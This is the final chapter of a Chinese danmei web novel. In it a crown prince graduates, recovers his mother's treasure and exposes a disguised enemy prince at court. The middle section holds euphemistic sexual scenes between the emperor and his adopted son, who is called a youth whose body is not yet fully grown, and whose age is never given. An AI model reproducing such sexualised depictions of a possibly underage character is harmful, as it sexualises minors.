听到明瑾的解释,龚万和丁弘毅顿时心服口服。 丁弘毅更是双目微红:“怪不得最后一封信里,木小子特意叮嘱我,将来一定要让你来书院念书,我还以为,他是让我作为严师好好教导你,还因此生了执念,忘却了为人师表最基础的道理。” “先生切莫如此自贬,”明瑾立刻道,“爱之深责之切,您待学生的拳拳心意,这么多年,学生早就了悟于心。” “在学生看来,您完全当得起这一声先生。” 丁弘毅眼中泪光一闪而过,他望着繁花林叶间,那满地价值连城的金砖,忽然释然地长叹一声。 “你方才,不是一直说要补考毕业吗?云英书院,从创办之初到今时今日,一直都秉承着才学兼备的宗旨。而作为你的授课之师,老夫也曾说过,这辈子都不会让你从我手上毕业。” 明瑾一张脸顿时垮了下来。 没等他出言央求丁先生大发慈悲,便见丁弘毅负手盯着他,淡淡道:“现在老夫收回这句话。” “为人性情,但又坦荡真挚,遇事荣辱不惊,临战有勇有谋,甚至还比你爹多了几分运气——你是我这么多年来,教导过的最优秀的学生。”似乎是夸奖明瑾让他很不适应,说这番话时,丁弘毅不仅神色僵硬,就连眼神都开始闪烁起来。 但他深吸一口气,仍是努力朝明瑾露出一抹不太自然的笑容: “恭喜,殿下,你可以出师了。”—— 作者有话说:明天完结[奶茶]《 》 第97章 【正文完结】 】 如师如父,亦…… 明瑾在云英书院闹出的动静不小, 没多久,宫中的晏祁就收到了消息。 敏锐如他,立刻意识到这是一个绝佳的契机。 自己完全可以利用这次机会, 顺理成章地赐予明瑾上朝议政的资格, 同时, 让他在京中逐步发展自己的势力。 虽说身为帝王,何时让太子参政都是他一句话的事情, 但晏祁很清楚, 自己登基时间不久,朝中的大臣们纵然对自己的位置不再有异议,但明瑾这个太子之位,却远远称不上稳固。 毕竟,他们二人之间, 并无真正的血缘关系。 既然都是宗室子, 那选择自然不止一个。现在京中不少人心中, 估计还抱着若自己出了什么意外, 或许其他宗室子还有机会上位的想法。 而晏祁要做的,就是利用这次明瑾立下的大功, 彻底叫这帮人断了此等念头。 “把那孩子叫来吧。”他吩咐道。 但不等下面人应声,御书房外便传来了少年熟悉的清朗之声:“父皇找我?” 听到他这话,晏祁第一反应是自己最近有没有惹到这小魔头,他瞬间回忆了一遍前日晚上的经过, 好像,确实是有那么过分了一点点……但不多。 这都两日过去了, 不会还在生气吧? 在明瑾出现在书房大门前的片刻功夫,晏祁飞快地调整好坐姿和角度,脊背笔挺, 单手执笔,在他迈进门槛的那一刻,迎着晚照的斜眼恰到好处地抬眉望去,神情淡然:“回来了?” 赤霞落在他的面容上,那煌煌金眸犹如鎏金般炫目,明瑾足足屏息数息,这才神思不属地呆呆点了一下头。 晏祁轻咳一声,对周围侍奉的宫女和来禀报的锦衣卫道:“都先出去吧,把门关上,朕和太子有要事相商。” “是。” 明瑾腹诽:什么要事,八成又是那些不正经的。 但先生也着实俊美,让人心痒…… 晏祁头也不抬地翻过一页奏折:“书院的事朕知道了,朕这边还有事,你先坐下休息会儿。” 明瑾依言坐下,咬着一块糕点,继续盯着晏祁发呆。 今日太阳的光线似乎格外懂事,恰到好处地勾勒出晏祁棱角分明的侧脸线条,男人低垂着眉眼,一点碎发落在额前,被他随手用修长指尖拂去。 也不知在奏折上看到了什么,他眉宇微蹙,又朝后靠了靠,换了个随性的姿势,胳膊搭在扶手上,单手支颐,薄唇紧抿,非常不经意地扯动了松散的衣襟,露出了一小片分明的锁骨来。 果不其然,明瑾立刻就注意到了晏祁锁骨上,那一道浅浅的咬痕。 那是自己前日深夜,情动之下无意识留下的……印记,此时看来,又让他想起了那晚烛火映照下的魂摇魄乱,自己被逼得实在受不住了,某个老家伙却非要按他在身上,再原样重复一遍他们第一次时的情景,身体力行地告诉他究竟行不行。 真是可恨。 明瑾恨恨地吞下一口糕点,可很快目光扫过男人裸.露在外的紧实肌肤,又有些口干舌燥,赶紧移开视线,脑海中默想着方才挖出来的一堆堆金银财宝降火。 他信不过旁人,因此这些金银都被他装箱送上马车,亲自监督着送到了宫中,保证一块都不会少。 明瑾端起茶杯一饮而尽,没过多久又给自己倒了一杯,也喝光了。最后干脆提起茶壶,直接对嘴。 余光注意到晏祁望过来的视线,他欲盖弥彰道:“天气燥热。你忙完了没?” 晏祁意味不明地勾了下唇,合上其实早就批阅完的奏折。 “忙是忙完了,”他说,“但朕的太子,不又刚给朕找了一件活计吗?” 明瑾见状,也不装了,笑眯眯地走到跟前,按着桌案问道:“儿臣找到这么一大笔宝藏,替父皇解决了燃眉之急,难道父皇还要怪罪于我吗?” 晏祁听出来了,这孩子的确没生气。 不仅没生气,甚至还在用这个称呼跟他调.情。 他伸出手,覆在明瑾的手背上,被明瑾飞快躲过,直起身一本正经道:“还请父皇自重,咱们在商议正事呢。” “这笔钱,你打算怎么用?” “大头自然是赈灾,军饷,大雍若是早二十年把这笔钱投入扩军,也不至于输得那么惨。不过往事已矣,现在再做也不迟。还有就是……”晏祁看了他一眼,“给你建个太子府。” “太子府?我才不要那玩意儿。” 明瑾立刻皱起一张脸:“成家才要立府,难道你还打算让我娶妻?” “总不能住一辈子东宫吧。” “有何不可?我还觉得东宫都太远呢。”明瑾不以为然,绕了两步,还很大逆不道地在晏祁桌案上自行挑挑拣拣起来,“再说了,又不是没有先例,你不就是吗。” “朕又没当过太子。”晏祁无奈道,“罢了,你不愿意就算了,朕早些退位就是,等你当了皇帝,就算不娶妻,也可以直接挑选继承人立储。” 天下人人人趋之若鹜的位置,却被他们如此轻描淡写地提及,和在晏珀治下两位皇子人脑子都要打成狗脑子、父子互相忌惮算计的局势,可谓是截然不同。 对于晏祁这份云淡风轻又重若千钧的情谊,明瑾自然心中欢喜,也因此主动朝对方走了两步,刚想绕到晏祁身后,像从前一样给他捶肩捏背,手腕却被一把捉住,跌进了男人怀中。 “别……又来!” 晏祁低笑一声:“怎么,你不想?朕方才可瞧见了,太子看朕的眼神,可算不得清白。” 明瑾靠在他怀里,脸颊涨红:“我那是,那是在发呆!谁看你了?” “哦?” 晏祁从容道:“那便让朕看看你吧。那晚你说腰疼,现在好些了没?” 他的大手滑过明瑾窄瘦的腰肢,刺激得怀中少年脊背瞬间僵硬,晏祁却偏偏还要装出一副正人君子的模样,关切道:“可是还没好透?那朕来帮你揉揉吧。” “不必了,”明瑾咬牙道,“您还是赶紧出去,随我一道去看看我娘,哈,我娘的那笔嫁妆吧!” “宁昭公主有心了,”晏祁轻笑,“提前二十年置办好了嫁妆,这份爱子之心,实在令朕感动不已。” 明瑾被他的厚颜无耻震惊到了:“那是我娘自己的嫁妆!你休要胡说八道……呜!” 他猛地后仰,脸上露出一种无助的空白表情。 但也因此暴露出了自己脆弱纤长的脖颈。 晏祁趁虚而入,垂下眼眸,薄唇轻轻勾勒着怀中人喉结的形状。 少年尚未完全长开的骨骼,距离三十而立的成熟男人还很有一段距离,在这个姿势下,晏祁几乎能完全将明瑾拢在怀里,顺势牢牢掌控他的一切动作和反应。 明瑾瞳孔涣散,忽然有种被密不透风的蛛网包围、再难挣扎脱逃的错觉。 事实好像也与这相差不远。 但今天的晏祁或许是顾惜到他还没完全缓过来,动作格外温柔,温吞得像是浸泡在清沐坊的一汪热泉之中。明瑾不自觉地就软了身子,靠在男人的肩膀上,与他交换了一个吻。 “其实,那天跪在爹娘墓前,”明瑾断断续续地说道,手指攀上晏祁揽在自己身前的紧实手臂,指尖几乎要扣进那浮凸的青筋之中,“我许了个愿望。” 晏祁的金眸一眨不眨地注视着他,仿佛感觉不到疼痛。 “什么愿望?” “我在心里说,要是他们祝福我们两人的话,就让我接下来遇到一件好事吧,”明瑾喘.息着笑道,“所以,你要硬说是嫁妆,倒也不算错。” 揽在腰上的手瞬间收紧。 明瑾有些艰难地说道:“但,就算是嫁妆,那也是爹娘给你准备的,按江南规矩,家里的老大不嫁,小的是不能成家的。” 晏祁忽地笑了一声。 “好,”他说,“就照你说的算。” 然后这新过门的“媳妇”,就把明瑾按在桌案上,敦了个死去活来——晏祁算是看出来了,这孩子就是喜欢嘴上逞能,这毛病再过一百年估计也改不了。 改不了就不改吧。 晏祁从前确实因为明瑾这个问题头疼过许久。 但现在,唔,倒还挺满意的。 甚至还想,要是这孩子能再坚持久点就好了。 三日后。 休养完毕的明瑾生龙活虎地换上太子服,首次出现在了朝会之上。 一众大臣向晏祁汇报时,都会不自觉地留意着那道立于前方的瘦挑背影,心中各有所思。 今日晏祁又再次接见了瓦图尔的使者,对方不出意料,仍然口口声声地要求赔偿。 但令他们意外的是,大雍这边的态度却不复先前,之前是谨慎中带着些许凝重,如今,却反而多出了一丝……类似于游刃有余的轻松? 隐藏在使者队伍中的瓦图尔二王子目光沉凝,他能感觉到,大雍人一定是掌握了他们某种很重要的把柄。 但这次带来的人都是他的死忠,他的身份不可能走漏丝毫,怎么可能轻易暴露呢? 瓦图尔的二王子在内心安慰自己:不必太过担忧,哪怕大雍不愿赔偿,这趟深入虎穴也值了。同行的使者都会为他作证,证明他的勇武远胜大哥,等回去之后,父亲一定会大大嘉奖于他。 但也要注意把控分寸,这新上任的大雍皇帝看着不是个好惹的货色,别真把他激怒了,到时候小命不保。 二王子的胸有成竹,在那位大雍太子转身望向他时彻底破碎了。 “怎么是你!?”他惊呼道,甚至一时都忘了自己还身处大雍朝堂,想起明瑾在众目睽睽之下驯服山神的场景,脸色瞬间惨白。 “好久不见了,”在众大臣惊疑不定的注视下,明瑾朝那位二王子淡淡一笑,直接开口唤出了他的身份,“瓦图尔的二殿下。” 自打那次清沐坊拍卖会后,明瑾就开始留意这号人了,还通过自家商队,辗转打听到了他的身份。 当然,要不是晏祁纵容他可以随便在自己的桌案上瞎翻,明瑾也不可能认出这位“胡人使者”,其实真实身份是瓦图尔当下最有王位竞争力的二王子。 “敢就这样隐瞒身份来到大雍,二殿下还真是艺高人胆大,”明瑾意味深长道,“还是说,该说你无知者无畏呢?竟然如此确信,我大雍这满朝文武,都认不出你的模样来?” 其实的确认不出来。 要不是明瑾为了拍下寅将军,还跟他有过一面之缘,估计还真叫这二王子来大雍“镀金”成功,如愿以偿地回北边继承王位了。 瓦图尔的现任首领,年纪可不比他刚杀掉的那位小几岁。 二王子握紧双拳,面对周围无数虎视眈眈的不善视线,他知道自己此行的目的已经是注定不可能达成了,甚至一不小心,还有当场送命的危机。 难不成,这大雍的太子,真是被山神护佑之人? “在下……很抱歉先前对贵国的冒犯,”这么多天来,他终于第一次主动朝上首躬下了身,“请大雍的皇帝原谅,待我回到父王身边,一定会努力说服父王,继续保持两国之间的友谊。” 皇位之上的晏祁和明瑾对视一眼。 在场所有人都知道,这只是权宜之计。二王子暴露了身份,不愿在敌国触怒他们,只想平安归家;而大雍现在缺的是时间,晏祁有心想要整肃军队,重建昭明军,这些不仅需要钱,更需要时间。 钱的问题明瑾帮忙解决了,现在这位二王子的出现,又正好解了他们的燃眉之急。 晏祁嘴角勾起一抹弧度,不容置疑道:“可以。但还请二王子,先在大雍小住一段时间吧。” 撒乌楞还不够格让瓦图尔投鼠忌器,那他们被寄予厚望的二王子呢? 人质在手,他们便不缺时间。 明瑾显然也同晏祁想到了一处。 他看着满脸愤恨,却碍于人在屋檐下不得不低头告退的二王子,脑海中闪过张牧、荀婴、李司……还有云英书院许许多多的年轻面孔。 在不久的将来,他们都将前赴后继,成为支撑起大雍的栋梁。 最终,画面定格在了那一张他从未见过、却曾幻想过无数次的,先生年轻时的面孔之上。 青年俊朗的面孔被北地的朔风吹得皲裂,眉宇间刻着不屈的印记,或许在多年前一个暗无天日的晚上,他也曾静静地站在满天繁星下的辽阔草原上,朝着故乡的方向眺望。 那些常人难以忍受的屈辱和困顿,终究困不住一条终将腾飞的真龙。 明瑾抬眸迎上金阶之上晏祁含笑低垂的视线,心中澎湃万千。 最开始,他只想做个游侠,踏遍大好河山; 后来,他情生妄念,宁可以男子之身居于皇后之位,只希望能抑制陪伴在先生左右。 在被晏祁责骂冷遇时,还因此暗生怨怼,心灰意冷过。 但是先生一遍又一遍不厌其烦地教导他,引领他走上了一条更为宽广的道路,告诉他,你应该,也可以走得比我更远。 如师如父,亦君亦臣。 他们是这世上最了解彼此、也是最亲密的人。 “太子,”晏祁忽然出声,低沉的嗓音回荡在空旷大殿内,朝堂内外霎时陷入诡异的寂静,“你一直盯着朕,可是对朕的处置有何异议?” “没有。” 明瑾回过神来,摇摇头。 不知想到了什么,在众臣子的注视下,明瑾又躬身道:“儿臣只是觉得,父皇英明,威服四海,气度令人心折。” 说罢他偷偷抬眼,望向上首似乎是被自己噎住的晏祁,隐秘而雀跃勾起了唇角。 先生哪哪都好,只一点,就是运气不太行。 摊上他这么个不省心的,估计得要操心一辈子了。 不过也是没办法。 谁叫这棵老草,非要自己送上门来给小牛啃呢? ——【《君父在上》正文完】——《 》